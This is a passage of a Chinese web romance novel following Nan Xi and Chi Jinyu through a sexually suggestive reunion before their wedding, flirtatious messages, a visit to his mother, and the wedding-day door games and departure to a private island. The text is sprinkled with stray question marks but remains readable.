“薄少。”池靳予很少这么叫他,语气严肃,“和女?士斤斤计较,在?女?士面前大呼小?叫,是很没风度的行为。” “……” 五一婚礼,只剩下不?到一周了。 送祁书艾回家的路上,南惜坐在?副驾驶,总觉得隔绝掉后排,他们之间有?一股难以?言喻的氛围在?扩散。 离开澜心苑1幢,池靳予无声握住了她的手。 掌心摩擦,十指相扣,车内放着首法语歌,轻懒中涌动着暧昧。 “今晚也?要回家?”他低声问?。 南惜抿紧唇:“嗯。” 婚后就要彻底住到丈夫家,爸妈希望她这几天好好待在?娘家,连祁景之那个大忙人,工作日晚上也?会回龙湖。 平时大多?只有?保姆和帮佣的庄园,因为她婚期将近,一下子热闹了许多?。 他是要送她回家的,但这次没直接回家。 车停在?三环外,一处幽静无人,漆黑空旷,似乎是废弃的院子。 “这是哪儿……”南惜声音有?点紧张。 “下半年准备重建的工厂。”他解掉安全带,俯身过?来,“放心,没监控,也?不?会有?人。” 南惜猜到他意?图,受不?住他直接开始的节奏,咬唇嘤了一声:“你要在?这……” “想你了。”她的安全带也?被解开,炙热的嗓音在?耳边哄,“乖,到我这边来。” 驾驶座向后滑动,她同时往下滑。中途搂着他脖子,挂着他浑身绷紧,眼里噙着水光颤了颤。 “坐好。”他轻轻握住她腰。 南惜整张脸埋在?他肩头,牙齿已经嵌入他结实的皮肉,背上刚掉痂的地方又出现新的血痕。 “别怕。”呼吸贴在?她耳后,温柔地哄,“慢慢来,可以?的。” 温水煮青蛙才最可怕。 小?时候她要学很多?东西,除了她喜欢的音乐,还有?不?喜欢也?不?擅长的书法。 那会儿教她写字的是个国内顶尖书法家,胡子白花花的老爷爷。温和慈祥,耐心又细致,哪怕她真的很笨拙,也?一直夸赞鼓励。 “惜惜很聪明,一定能写好的,我们再来一幅,好不?好?” “乖,再下来些,好不?好?” 她总是被鼓励着突破极限。 尝试新的字体,新的写字的姿势。 每每以?为自己做不?到,再往下坚持一些,原来可以?容纳更多?可能性。 横竖撇捺,组合成基础的字体都不?算难,她五岁时就能写一手不?错的隶书。难的是行书灵动的技法,和草书有?如龙蛇的变化无常。 猜不?到下一刻的方向和力度,永远处于被动。 南惜见过?他写的赵体,规整中依稀能窥见一丝行草的纯熟功力。 笔下苍龙遒劲,势如破竹,或轻或重游刃有?余。可以?深入幽境浓墨四溅,也?可以?浅探慢移,藕断丝连。笔在?他手里,柔软洁白的宣纸跃然他眼中,任他肆意?挥毫泼墨,染成他想要的模样。 车前镜悬挂的两只情侣羊驼,是在?新西兰买的纪念品。车身晃动,一白一棕两只羊驼时而紧贴,时而分开,前一秒好像越震越远,后一秒又用力地亲在?一起。 漆黑的车内达到前所未有?的温度和湿度,水蒸气凝结在?窗玻璃上,变成雾色,彻底隔绝了内外视野。 没多?久,被一道?纤弱的手影划开。 指尖颤抖,指甲里嵌了血色。 有?人的背上惨不?忍睹,但就像是鼓励他继续的勋章。 濒临昏厥的那几秒,她听见耳旁喑哑的嗓音:“乖乖,等我。” 下意?识地,又一口咬下去?,男人像被激怒的兽,完全没办法怜香惜玉。 她觉得自己快要被打碎,嚎啕哭起来。 她的眼泪被他亲掉,他嗓音像被加了层滤镜,哑到不?可思议的程度,也?性感到不?可思议: “……好了。” “乖,不?哭了。” “对不?起。” “再咬我一下?” “这里也?给你咬。”他看向自己心脏附近。 南惜抽噎着,往那里砸了一拳头:“谁稀罕了?硌牙。” 他胸腔震动着笑了,把人搂进怀,向后梳理?她又乱又湿的头发。 打开顶灯,看着女?孩逐渐平缓着呼吸,脸颊的绯红也?逐渐褪去?,心里骤然开始犯愁。 失策了,也?失控了。 弄成这样,还怎么送她回家? 被岳父岳母看见,怕以?为自己女?儿进了狼窝,要运气不?好碰到祁景之,后果?更麻烦。 “老婆,你几点要回家?”他轻声问?。 南惜不?多?想,随口回答:“十二点前就行。” 爸妈不?管这些,她和姐妹朋友们出去?玩,也?没有?很早结束的。 男人眼底浓郁了些,把她头发拢到背后,摩挲她脸颊:“找个地方洗澡?” 顿了顿,给她一个正经理?由:“这样回去?不?好交代。” 南惜深以?为然,答应了。 就近找的一家五星级酒店,池靳予从后备箱拿出一件他的薄风衣,下车就给她穿上。 从头到脚,遮住她被揉得惨不?忍睹的裙子。 她走得飞快,想赶紧去?房间洗澡,忽然被人按住肩膀捞回去?。 面前是大理?石台阶,他弯了弯腰,把她身上及脚踝的大衣下摆提起来些,一如那天,在?邮轮上帮她牵礼服裙摆。 熟悉的场景,熟悉的弯腰,她眼眶微热,勾唇笑起来。 电梯里,南惜说?要和她身上这条类似的裙子。 池靳予给酒店经理?打电话,让人送一套过?来,然后看着她裹在?大衣里随着音乐节奏下意?识摇动的身躯,想,他们能在?酒店待两个小?时。 整整两个小?时。 他又要了一次,哄她一起洗澡,磨磨蹭蹭,腻腻歪歪,十一点多?才出来。 到龙湖山庄地库,南惜没急着下车。 监控是祁景之公司的高科技玩意?儿,效果?太好,连声音都听得清清楚楚。 幸好库里南的隔音更好。 她压低嗓音:“你背上……记得抹药。” “嗯。”男人笑着倾身过?来,看了眼她的包,“你那里也?记得抹药。” 南惜羞恼地瞪他。 头顶的灯骤然熄灭,他目光格外透亮:“下次就是洞房花烛夜了,我会很想你。” “还说?。”南惜红着脸瞄向他背后,“婚礼那天你都好不?了。” 他眼神露骨,话也?不?遮掩:“我期待日日好不?了。” 还想日日……南惜作势要打他,被握住拳头,骤然贴近。 呼吸交融,入夜的嗓音极致温柔:“等我来娶你回家。” 第45章 第 45 章 回到房间, 南惜发现包里不仅有他买的一盒药膏,还多了一张黑卡。 她拍照片发过?去:【?】 池靳予应该在开车,半个多小时才回复:【密码你生日, 没有限额。】 南惜已经洗过?澡, 刚护完肤。她把这张尊贵无?比的黑卡放在梳妆台上,托腮沉思了一会儿。 她不缺钱, 不喜欢用男人?的钱,池昭明也?只送过?她礼物,没送过?卡。 她讨厌这些公子哥儿养女人?似的行为,拿了别人?的副卡,感觉自己也?就像那个人?的附属品, 她不喜欢那样。 对方好像猜中她心思:【不是?副卡,是?新的。】 【知?道你有,但这是?我送给夫人?的新婚礼物。】 南惜噗嗤笑了出声,手指在屏幕上欢快跃动?:【那就勉强收下喽。】 池先?生:【对了。】 南惜:【嗯?】 池先?生:【还没告诉我,你喜欢什么颜色的内饰?】 南惜迷惑地眨了眨眼?。 对面紧接着发来一句话, 隔着屏幕燎热她耳朵: 【不打算洗坐垫了。】 【正好换成你喜欢的颜色。】 南惜嘴角一抽。 想什么呢?难不成以后每次都要换? 池先?生:【下次不在车上。】 他似乎总能隔空猜中她心思。 【那个姿势,你好像不舒服。】 …… 也?没有不舒服, 只不过?太?深了。 可她哪好意思说,咬了咬唇, 回复:【哦。】 池先?生:【很?不舒服吗?】 南惜捂脸冷静了会,敲字:【……没有。】 池先?生:【还可以试试?】 南惜:“……” 池先?生:【你觉得哪方面需要改进?】 他是?怎么能一本正经地谈论?这种事情的? 南惜咬咬牙:【池靳予。】 【我现在不想跟你聊这个了。】 池先?生:【好, 那下次边做边聊。】 南惜:?????? 她摔开手机直接去睡觉。 另一边,池靳予很?久没收到回复, 知?道她八成是?害羞装鸵鸟了。笑了笑, 把手机揣兜里,下了车。 Maryee二楼隐约还有亮光, 唐意工作?很?容易忘掉时间,所以他也?习惯这么晚过?来。 顾客都不知?道这栋楼背后还有扇门,但要较真起来,这扇门没什么用处。 他直接绕到胡同里,开锁,踏上那段没有防盗网的长长的台阶。 深夜寂静,脚步声提醒了楼上的人?。口鼻掩在口罩里,温柔漂亮的眼?抬了抬,看?见窗外经过?的熟悉剪影,没说话,继续对着笔记调整配料比例。 “妈,又不睡?” 满屋的烘焙用具,半成品摆台,光烤箱炸锅就七八种,一整面墙挂满亲自设计的甜品照片,书柜里全都是?有关烘焙的书,其中几本,还是?唐意以笔名出版的。 “知?道叫我妈,还轮不到你管我。”唐意对他态度冷冰冰。 男人?面色温和?如?常,又郑重地唤了一声:“尊敬的唐女士。” 唐意淡淡瞥他一眼?:“不好好陪老婆,来我这儿做什么?” “她最近住娘家。” “哦,空虚寂寞了。” “您能别对我这么刻薄吗?” “你能别往我这儿跑吗?看?你闹心。” “……”池靳予随手拖了只板凳到空处,坐下。 唐意晾了他一会儿,忙完这波发现人?还没走,脱下围裙,洗了手,到茶吧台接水:“喝什么?” “不用了。” 唐意真就没给他倒,自己兑了杯温水。 靠在茶吧台边的一面空墙上,撩眼?看?他,语气不咸不淡地说:“挺好一姑娘,你要是?上心,就别让你们家乌七八糟的人?去烦她。” “嗯,知?道。”池靳予双手交握,门口的风吹进来,他恍惚闻到指尖残留的香味,笑了笑。 “婚礼……” “婚礼我不去。” 两个人?同时开口。 唐意两手托着杯子,懒散地靠在墙边:“你们池家的事儿我不掺和?,那些人?我也?不想见。婚礼就是?个形式,你俩要是?真能过?好,婚礼当天我在不在,都没差别。” “好。”池靳予点了下头,表示理解,“那等?这阵忙完,正式带她来见您。” 唐意喝了口水,下巴指向门口:“没事儿你走吧,一男的深更半夜留我这儿,像什么话?” 池靳予无?奈:“妈……” 女人?直接端着杯子抬起手,送客的姿势。 他笑着扯了扯唇:“行,晚安。” 出门前又补了一句:“我叫人?给您走廊封个网,再换把智能锁。” “用不着。” “没商量。” “……” * 婚礼日期定在五月二号。 前一天晚上,南家亲戚和伴娘们都在龙湖山庄过夜,家宴无?比热闹。 长辈们在院里闲话家常,年轻人?一边布置新娘房间,一边商量明天怎么为难接亲的伴郎团。 池靳予那边找齐了另外两个伴郎,南清煜和?南禹辰不用去帮忙凑数,铆足了劲儿出招。 “让他从南门口跪着进来。” “卧槽你小子真损,跪三公里人?得废了吧?” “娶媳妇儿不断条腿怎么够诚意?” “看?清楚断哪条,别毁了小公主下半辈子幸福。” “你们真他妈有毒!” 卧室里一阵疯狂哄笑。 祁书艾拍桌子喊:“气球呢大?哥们?叫你们来唠嗑儿的?南禹辰,你小屁孩跟着聊什么黄色话题?” 南禹辰笑得鹅叫,突然被祁书艾吓出个嗝来,连滚带爬去拿打气筒。 布置房间的体力活交给兄弟们,祁书艾和?南映雪当指挥,南惜坐在阳台的藤椅里敷面膜,和?池靳予打视频电话。 他在忙着最后一遍梳理明天的婚礼流程。 南惜大?概知?道有哪些步骤,但没研究那么详细,明天全程听现场督导提醒就好。 池靳予说她只需要负责美,其余交给他。 他记下了所有细节和?准确时间,对于这场婚礼唯一未知?的,就只有伴娘团为难他和?伴郎的招数。 为了防止南惜告密,她们甚至也?不告诉她。 南惜觉得很?冤枉,自己看?起来像是?对男方情深意切到出卖姐妹的样子吗? “所以你还是?不知?道?”池靳予笑了笑。 “她们藏得可严实了。”南惜努努嘴,“反正明天你做好准备,如?果有那种太?过?分的环节,就直接砸钱好了,不许在我婚礼上没有形象。” “比如??” “比如?穿芭蕾裙跳舞什么的,俯卧撑什么的,我不喜欢,我的新郎必须天下第一帅。” “吻你脚算吗?” “……”南惜脸一热,“说什么呢?” 他神色很?认真:“穿鞋不是?要吻脚?” “不准。”南惜嫌弃地瞪他,“你亲完脚,仪式上还要亲嘴。” “我亲完你那里也?亲过?嘴。” 南惜懵了一秒,脸瞬间红成大?虾背:“池靳予!” 他只是?说了句实话,没想她这么大?反应,笑着清咳了一声,言归正传:“放心,明天我一定注意形象,太?过?分的让他们挑战。” 南惜“噗嗤”笑了:“你也?会出卖兄弟啊。” “权宜之计。”他目光深邃地望着她,“娶到老婆,让老婆开心最重要。” 南惜猝不及防地心尖一抖,眼?皮也?被他盯得发颤。 咬了下唇,笨拙地转移话题:“我觉得她们一定会考你的,身?份证号结婚证上有,你自己记一下,一会儿我把别的信息,还有我喜欢的东西整理出来发你一份,你今天晚上……” “不用了。”他眉目温和?,眼?神笃定,“我知?道。” 南惜一愣:“你知?道?” “嗯,我都知?道。”他意味深长地望着她,“老婆,我已经很?了解你了,不需要系统记忆。” “……”南惜莫名的脸颊又一热,强行把思绪拉扯开,“那,明天会有很?多媒体,你没关系吧?” 她庆幸结婚这件事够复杂,一个话题绕进死胡同,永远有下一个话题解救她。 “没关系。”他笑了笑,“你是?我明媒正娶的夫人?,自然要昭告天下。” 南惜眨眨眼?:“我想问个问题。” “嗯?” “你为什么……从来不让媒体公开你自己?” 对面男人?眼?眸微垂,沉默了几秒,才重新看?向她。 “惜惜,我不想骗你。”他说。 南惜怔了怔。 池靳予望着她,每一个字都无?比真诚:“我不想随便编一个假话敷衍你,但是?目前,我还没想好怎么告诉你真实理由,能给我点时间吗?” 这是?第一次,一个人?把“难以启齿”表达得如?此真诚,她心尖又不争气地颤了下。 “我就是?随口问问。”南惜表情轻松地弯起唇,“你想说再说,不重要。” 但她好像把天聊死了。 她似乎起了一个氛围很?奇怪的话题。 池靳予叮嘱她几句,两人?就切断了视频。 第二天天没亮,南惜被祁书艾和?南映雪一左一右架着胳膊从床上薅起来。 “几点啊?”她闭着眼?睛,还想继续做刚刚那个梦。 南映雪按着她脑袋前后左右一阵猛摇:“三点半了,起身?。” “三点半起身?做咩?你搭错线啊?”南惜扯嗓子大?喊,“我要瞓觉!” 祁书艾一边开门招呼化妆师进来,一边说:“还有不到八个小时,你的亲亲老公要来接你,二十八家媒体要来拍你,你今天有六套衣服要换,而且所有的照片和?视频都可能会上网上杂志,所以,您该起来化妆了吗大?小姐?” 南惜一秒清醒,用力揉了揉自己的脸。 完蛋,怎么眼?睛有点肿? 她欲哭无?泪地望向南映雪:“三姐,我是?不是?肿了?” 南映雪打量了一下:“没事,我去泡咖啡。” 南惜被摁在化妆镜前一个小时,化完精致的妆容,和?伴娘们拍完晨袍组照,接着被摁回去,盘复杂的中式发髻。 她不喜欢秀禾,出阁装选了明制婚服。 吸取乌镇那次的经验,她特别嘱咐凤冠用假的,要不真怕被压出颈椎病来。 第四个伴娘选的是?裴锦姗,没定顾家的。 虽然顾月满跟她们一块儿玩,但祁家和?顾家向来没什么交情,裴家走得更近一些。 妹妹裴柚也?跟着来了。 看?着化妆镜前明艳照人?的南惜,裴柚眼?睛都直了:“惜惜姐好漂亮,好像仙女。” 裴锦姗揉揉她脑袋:“自信点,就是?仙女。” 裴柚一脸向往:“我以后也?要穿这样的。” “柚子你才几岁?就想嫁人?了?”祁书艾嗑着瓜子笑她,“姐姐跟你说,嫁人?一点儿都不好玩,等?你长大?就知?道了,男的大?部分都不行。” 裴锦姗捂住自家妹妹耳朵:“别给她灌输这些。” 乔宜琳严肃道:“这叫反诈骗教育。” “我知?道的。”裴柚拉开裴锦姗的手,表情认真,“我没说我要结婚,只谈恋爱不就好了?恋爱开开心心,结婚鸡飞狗跳,我懂,到时候我找个大?帅哥办婚礼玩儿,反正我就是?觉得有意思,只要不领证,男人?骗不到我的钱。” 一屋子二十多岁的姐姐们惊掉了下巴。 做完出阁造型,要和?亲戚和?伴娘们拍照片。 比起在化妆椅上度秒如?年,拍照是?南惜喜欢并享受的环节,时间过?得无?声无?息。 不知?道谁突然叫了一声:“接亲的来了!” 屋内转换成另一种风格的嘈杂。 之前是?激动?,现在带着明显的慌乱。 “南禹辰!去大?门口盯梢!” “快快快,要出去的赶紧出去,堵门了!” “好家伙,今天非得让那帮人?脱层皮!” “千万别把魏亦铭当成自己人?!他今天是?伴郎!” “卧槽他个叛徒!一会儿就整他!” “整死他!” 南惜被扶着坐到床上,祁书艾和?南映雪守着,不准她再动?。 另两个伴娘出去了,好像外面还有什么环节,南惜问祁书艾:“你们到底要玩什么?” 已经到这当口,祁书艾不再瞒着她:“楼梯上铺满了气球,一会儿让他们踩上来。” 南惜狐疑:“就这?” 祁书艾“噗呲”笑:“踩破一只,学一声狗叫。” “……” 南惜嘴角抽搐,来回看?她俩一眼?:“哪个大?聪明想的?” 祁书艾和?南映雪互相指对方。 南惜绝望了,一颗心水灵灵地碎到地上。 她的婚礼要变成狗叫现场,难看?死了。 突然,堵门的南清煜接了个电话,表情骤变。 祁书艾:“咋了?” 南清煜:“妹夫和?一个伴郎反应快,直接冲电梯间去了。” 南惜捂着胸口松了口气。 还好,她的新郎逃过?一劫。 “他和?谁?不会是?魏亦铭吧?” “卧槽叫那小子逃过?一劫!” 南家兄弟们忿忿不平。 南清煜:“不是?亦铭,是?他那个好兄弟,薄少。” “行,只要魏亦铭那小子没逃。” “叫他当叛徒,当狗还差不多!” “哈哈哈哈哈!” 一群人 ?笑出鹅叫。 只有祁书艾暗地里差点咬碎了牙。 南映雪听说他俩结的那梁子,安慰道:“没事儿,幸好我们做了两手准备,出电梯照样没好果子吃。” 南惜一颗心又悬起来:“你们还有节目?” “不然呢?这么便宜池靳予和?薄慎?”祁书艾哼了一声。 南惜:“……” 你记恨薄慎别牵连我老公啊。 伴娘团在电梯口到卧室的地面上摆满了手脚卡片,手卡只能用手按,脚卡只能用脚踩,每张都不许略过?。 南惜不敢想那幅群魔乱舞的画面,要不是?脸上带着妆,她真的会捂脸痛哭。 她的婚礼啊…… “来了来了!”乔宜琳从门缝钻进来,嘭地关紧,身?强力壮的兄弟们迅速堵上。 祁书艾激动?地大?叫:“宜琳姐!录视频了吗?” 薄慎出糗的视频她要留着笑一年。 “录了录了,超劲爆!”乔宜琳眼?睛冒光,“大?型撒支票现场,我这辈子第一次见。” “……”祁书艾咬牙切齿爆了句粗口,“艹。” 千算万算,没算到池靳予这厮为了娶老婆,是?真能下血本啊。 门外的人?正被起哄着唱歌。 南惜是?听过?池靳予唱歌的,但这里很?多人?都没听过?,起初看?好戏的心态,到后来彻底惊呆。 伴郎团早料到会有这招,带了吉他,伴着吉他弦轻扫出的悠扬旋律,男人?醇厚磁沉的嗓音透过?门缝,也?叩着床上女孩颤颤巍巍的心脏。 “我爱你就像风走了千万里从不问归期, 像太?阳升了落去无?论?朝夕, 我爱你就像云漂了千万里都不曾歇息, 像白雪肆虐大?地茫茫无?际……”① 知?道是?因为今天这个特殊的日子,他才会唱这么直白露骨的歌,南惜还是?忍不住心跳越来越快。 女生尖叫,男生起哄,里面外面的人?都疯狂起来。她的耳朵却本能过?滤掉那些嘈杂,只能听见他声音。 不像原唱那么欢快激昂,他温柔细腻节奏舒缓地,更像两人?之间娓娓诉说的情话。 “我爱你就像飞蛾扑火那样的无?所畏惧, 像故时黄花堆积风吹不去, 我爱你就像江水连绵不绝永不会停息, 像荒原野草重生燃之不尽。”② 顶不住的姑娘们率先?开了门,红包漫天洒进来。 南惜第一眼?看?见的,就是?穿着红色圆领喜袍的新郎,风姿翩翩,乌纱帽簪了金色花朵。 他今天所有装扮都是?为了配合她。 伴郎团也?被迫穿了长衫,个个都是?京城贵公子圈里拔尖的姿容和?仪态,撑得这身?芝兰玉树,无?可挑剔。 平时见惯了的姑娘们都不禁多看?几眼?。 祁书艾盯着薄慎,小声嘟哝:“狗东西,穿得还挺像个人?。” 南惜差点憋不住笑了,摄影机怼着,她赶紧管理住表情。 伴娘们原以为前两关就能整垮伴郎团士气,后面没准备特别整蛊的节目,只简单问一些问题。 太?复杂怕误了吉时。 南映雪手里拿着小卡片,每张卡片里写一个问题,给池靳予抽。 这个环节必须新郎本人?完成。 第一个问题:倒背新娘的手机号。 南惜眼?神抖了抖,怎么上来就这么难? 她还在紧张兮兮攥着手指,池靳予已经流利地背出来。 完美过?关。 第二个问题:说出十个对新娘的爱称。 太?肉麻,太?多了吧……南惜臊得不敢抬头,只能感觉到落在头顶的炙热目光。 他每说一个,都像在她心口落了把柔软的小锤子。 “惜惜,老婆,夫人?,乖乖。” 他只有那种时候才叫她“乖乖”,南惜咬着下唇内侧的肉,忍不住娇嗔地看?他一眼?。 四目相对,空气暧昧地流动?,他嗓音更温柔了些:“宝贝,亲爱的,公主。” 这些她都是?第一次听,耳朵不争气地发烫。 “honey,my love。” 顿了顿,他俯身?靠近她,棕眸深邃的底色牢牢攫住她颤抖的心: “bb。” 最后一个词,分外低沉地散在空气里。 南惜听不见那些起哄声,脑袋里无?限回旋的,都是?他那句耳语呢喃般的:bb。 一直到他们开始找鞋,她才恍惚回过?神来。 其中一只找得很?快,另一只却像人?间蒸发,上天入地都没找到。 伴娘团明确表示不可以翻衣帽间和?柜子,能发挥的地方实在有限。 “有VIP服务哦。”祁书艾扬了扬手里的红包,“大?红包黄金vip,解锁大?范围,一张支票白金vip,解锁小范围,四张支票钻石VIP,直接给鞋,带新娘走。” 伴郎团稍微对了个眼?神,池靳予点头应允。 魏亦铭管着红包,从里面拿出四张支票朝姑娘们走来。 停在乔宜琳面前,毫不犹豫地塞她手里:“在哪?”??? 一屋子人?惊呆。 “卧槽!你给谁呢?” “眼?瞎吧你,只看?得到宜琳?” “魏亦铭你痴线啊?” “傻子没睡醒吧?给伴娘!” 支票已经给出去了,没有再拿回来的道理。魏亦铭只能维持镇定的神色,望着乔宜琳又问了句:“在哪?” 乔宜琳如?梦初醒,指了指左侧床头柜。 婚鞋被卡在踢脚线上,恰好是?墙壁床柱和?床头柜中间的角角。 这谁能找到? 当时祁书艾着急忙慌塞进去,自己都没想到会这么凑巧。 乔宜琳返过?神来,下意识瞄向魏亦铭,对方在和?新郎说话。 她舒了口气,把支票递给祁书艾:“你们几个分。” 而池靳予在床前俯身?弯腰,轻轻握着新娘白皙柔嫩的脚,放进那双红色的刺绣婚鞋。 有人?起哄要他吻脚,他惦着她的话,恍若未闻。 穿好一双婚鞋,唇瓣虔诚地印在她额头: “老婆,我们回家了。” 第46章 第 46 章 龙湖山庄的主楼气派庄严, 略厚重的老?钱风。 客厅挑空十米,巨大的法国古董水晶吊灯从天花板垂下,左右两条玉石铺就的双旋楼梯围拢延伸至二楼, 栏杆黄铜镀金, 光亮可鉴。 一对新人相携走下楼梯,新娘一手被新郎牵着?, 另一只手抬着?扇子半遮着?脸庞,回?眸对视,彼此眼中温柔生光。 婚服拖着?巨幅手工刺绣裙摆,有四?分之一台阶那么长,身后伴娘加上兄弟好友, 足足十二人帮忙抬着?。 她走得很慢,手心微微濡湿。 男人侧过头低声问:“重吗?” 怕步摇缠到头发,南惜不敢轻易摇头,垂着?脑袋小声回?答:“不重,假的。” 今天当新娘子, 不仅走路慢,连说话都格外软糯乖巧些。 池靳予感觉到她的小心谨慎, 弯着?唇握紧她手:“我说衣服。” 他送她的两套中式婚服都是?真金实料。 南惜抿了抿唇:“还好。” 拍婚纱照那些重工礼服,她都穿着?跑来跑去一整天, 早习惯了。再重,肩膀也挺得笔直。 “别紧张, 我牵着?你。” “嗯。” 客厅里三层外三层围满了亲朋好友和媒体。 瞿敏英穿着?金色旗袍坐在沙发中间,两人先给她敬茶。 原本就看不上池昭明, 希望孙女嫁回?港岛的瞿敏英, 对这?个后来居上的新任孙女婿十分满意,笑呵呵连叫了三声好, 送给池靳予一个大红包。 里面?鼓鼓囊囊的不是?道具,全都是?百元钞票。 接下来南俊良夫妇,喝完女婿茶,也笑眯眼给了红包。 彩带礼炮迎着?他们坐上婚车。 加长幻影开道,花团锦簇的十几辆劳斯莱斯风风火火地?驶出龙湖山庄。 车里,南惜看着?池靳予那三个大红包,不禁噘了噘嘴。 男人望向她笑:“怎么了?” 到那边要给田蕙云下跪敬茶,想想她就不开心,但像他们这?样?的家族,礼数是?不能废的。 池靳予这?么骄傲的人,给她父母和奶奶下跪也毫不犹豫,她不能太任性。 “那边我说好了,不用跪,你给她端杯茶就行。”池靳予握了握她的手。 南惜不可置信地?抬眼。 他笑了笑:“红包照给。” 南惜脸一热:“……我不是?这?个意思。” “我知道。”他把三个大红包都放进?她手里,“我妈虽然不来婚礼,但她还是?记挂我们的。你就算要跪,也得留着?跟我去见她。” 南惜“噗嗤”笑:“要带我去见你妈妈吗?” “当然了。”他抬手想捏她鼻子,看着?她脸上精致的新娘妆,作罢,“等办完婚礼,还有大红包。” 南惜眼睛瞬间亮起来:“那我也有三个红包了。” 池靳予把她的手握紧,连同那三个红包:“是?六个。” 南惜抱着?红包,看向他格外精致的脸庞。 他平时没化过妆,除了拍婚纱照。但今天日子特殊,为了和她的新娘妆登对,也让化妆师修了眉毛,抹了素颜霜。他唇色好,是?自然的肉粉色,没有上口红。 “你嘴巴颜色有点淡。”南惜突然认真地?说,“一会儿下车让化妆师给你涂一点,拍照好看,不然和我站一块儿太明显了。” 男人目光灼灼望着?她:“淡吗?” 南惜点点头。 “倒不用这?么麻烦。” “嗯?” 池靳予低下头,淡色的唇贴上她两瓣嫣红,轻啄,浅吻,掠走她唇上的色彩。 小心翼翼地?,没弄花她妆容和唇周。 呼吸交融,目光缠绕,他的手伸进?外衫,搂紧她腰,调情一般的低声:“现在我和你一样?了。” 一定?是?因为这?身衣服裹得她燥热难当,因为今天的气氛,她越发不禁撩,红着?耳朵娇滴滴哼了一声。 男人笑着?又吻她一下。 “……你别亲了,口红要没了。”南惜僵着?脖子想往后退。 “不会的。”他手掌贴着?她后脖颈,牢牢禁锢,“再多?亲会儿,越来越好看。” “……”歪理。 他分走她一半的口红,才终于满意。 下车时,两个人彻底一模一样?了。 看着?池靳予唇上多?出的颜色,有人心知肚明,有人默默揣测,也有人不过脑子脱口而出:“姐夫,你在车上涂口红啦?” 南禹辰话音刚落,被他四?哥冷笑着?瞪了一眼,才意识到自己?好像说错话,捂了捂嘴。 一边走向不远处红绸花朵围绕的池家老?宅大门,一边不死心地?小声问南清煜:“大佬,噉我做咩?” 南清煜对他的智商无言以对:“……痴线。” 婚礼声势浩大,不少邻居都在附近张望,停满胡同的一长串劳斯莱斯,和堪比画里出来的一对新人。除了应邀的媒体,还有手机相机不停歇的快门声。 但今天,一切都被主人家默许。 一行人浩浩荡荡走进老宅大门。 这?些除了在港岛就是国外的少爷千金,对传说中古色古香的帝都建筑只有一个文字概念,但也就不动声色地观察,没表现得太没见识。 只有南禹辰年?纪小,沉不下气,一扇垂花门看得他嗷嗷叫:“卧槽,好劲啊!” 今天的老?宅所有门廊都挂满红绸,所有栏杆都贴了喜字,院子里团团簇簇的玫瑰花,比平日更漂亮。 南清煜白?他一眼:“别给你姐丢人。” “fine.”南禹辰敛眉收声,不再东张西望。 穿过两扇门,就到了二进?院主楼。 池苍山和田蕙云今天都穿得喜庆,池苍山一套藏青色西装,头发打理得一丝不苟,田蕙云则穿了紫色长裙,贵气精致。 池昭明今天倒低调,站在自家热情迎接的亲戚堆里,沉默不语,泯然众人。 池靳予二婶给女方来客端茶倒水,请大家坐。南惜被引到三楼精心布置过的那一间房,化妆师帮她补妆。 口红被蹭掉得明显,化妆师眼尖,憋着?笑,第?一件事就给她补口红: “等会儿把口红和镜子装包里,伴娘拿着?,有需要您就自己?补补。” 就差直说新郎咋那么猴急。 南惜脸一阵燥:“……不用了。” 等会儿不会再给他亲,太丢人了。 连南禹辰那臭小子都能看出来,很多?人一定?也看出来了,说不好明天就会有媒体爆料,丢人丢到全中国。 刚想着?,那人就从门口进?来,南惜隔空嗔他一眼:“你不下去陪他们聊天吗?” 池靳予坐到她旁边:“陪他们干什么?陪你。” 南惜垂在身侧的手被他握住。 化妆师假装充耳不闻,视而不见,专注地?给她补气垫,整理头发和发饰,嘴巴却翘得快要压不住。 谁能想到传闻中的池家掌权人,在老?婆面?前这?么温柔又黏糊? 池靳予无比认真地?看着?她脸,似乎对女孩子化妆很感兴趣,直到化妆师收起气垫,转眼望向他:“新郎口红颜色有点重了,改改吗?” 南惜:“……” “没事,就这?样?。”池靳予准备起身。 南惜拽住他:“不行。” 虽然不愿意,池靳予还是?被逼就范,擦掉从她那儿蹭的口红,换了更合适的色号。 婚礼督导上来催了,说吉时快到,两人乘电梯下去敬茶。 敬完茶,南惜收了两个大红包,不比池靳予那三个薄。 五个红包全在她小包里揣着?,满载出门。 婚礼主场不在京城,在池靳予的一座私人海岛上举行。所有宾客用他事先备好的专机运过去。 新娘新郎坐私人飞机。 南惜以为还是?出国拍婚纱照那架,却发现机型完全不同。整个机身圆墩墩的,十分可爱,外面?做了粉嫩梦幻的涂装,画着?鲜花和戒指,动漫风的新娘和新郎,似乎是?专为婚礼准备。 “你又买飞机了吗?”南惜惊讶地?问。 “嗯。”站在登机的悬梯前,男人云淡风轻地?说,“这?架是?送你的。” “……”南惜整个脑袋空白?了一秒,混混沌沌地?跟上他脚步。 直到差点踩到裙子,才回?过神,把注意力?集中起来。 南惜穿得太复杂,婚服里里外外好几层,环佩叮当,珠翠满头,破天荒地?两人独处,他却不可以抱她吻她,池靳予有点不习惯。 他只有握着?她的手聊表慰藉。 “办完婚礼,我们要不要在岛上住一阵?”男人抬起她的手,亲了亲,“那边风景很美,也没人打扰,适合度蜜月。” “好啊。”南惜仰起脸,头上珠翠晃荡,美艳华丽,“只要你有空,我在哪都行。” “工作我都安排好了。”他温柔地?笑,“接下来的时间,只陪你。” 南惜看着?那双清亮又深邃,只盛了她一道身影的棕眸,目光缓缓移动到那双浅粉的唇,情不自禁地?靠上去,小啄了一口。 步摇晃到脑后,腰身也被炙热的手臂围住。 “口红带了吗?”他问。 “带了……” 他搂紧她,没让她躲开,再次沾染那瓣香甜。 “什么味道的口红?”他用舌尖扫过她唇,尝了一口,哑声,“好甜。” 南惜眼底都泛了水汽,嗓音格外娇:“没味道啊。” 他笑着?用手指抬起她下巴,小心翼翼,不蹭到她的粉底液:“那是?你甜吗?bb。” 从耳朵到全身,顷刻间酥了一片:“你跟谁学?的?” “岳父大人。” “……不学?点儿好。” “不喜欢?”他吻了一下她耳朵,“不爱听?” 南惜红着?耳朵,哼了一声:“……随你。” 南俊良宠老?婆从来不避着?孩子,她和祁景之从小吃这?口长大。虽然每次老?爸对老?妈bb来bb去,听得耳朵起茧烦得很,但这?话从情人嘴里说出来,就没有不动听,不心软的。 她总算能理解那两人几十年?如一日的腻歪了。 是?真上头。 一个多?小时,飞机进?入降落阶段。 从舷窗外往下看,是?湛蓝无垠的大海,远处海天交接,依稀可见一座岛屿轮廓。 “是?那里吗?”南惜激动地?回?头问他。 “嗯。” “你的岛叫什么名字啊?” 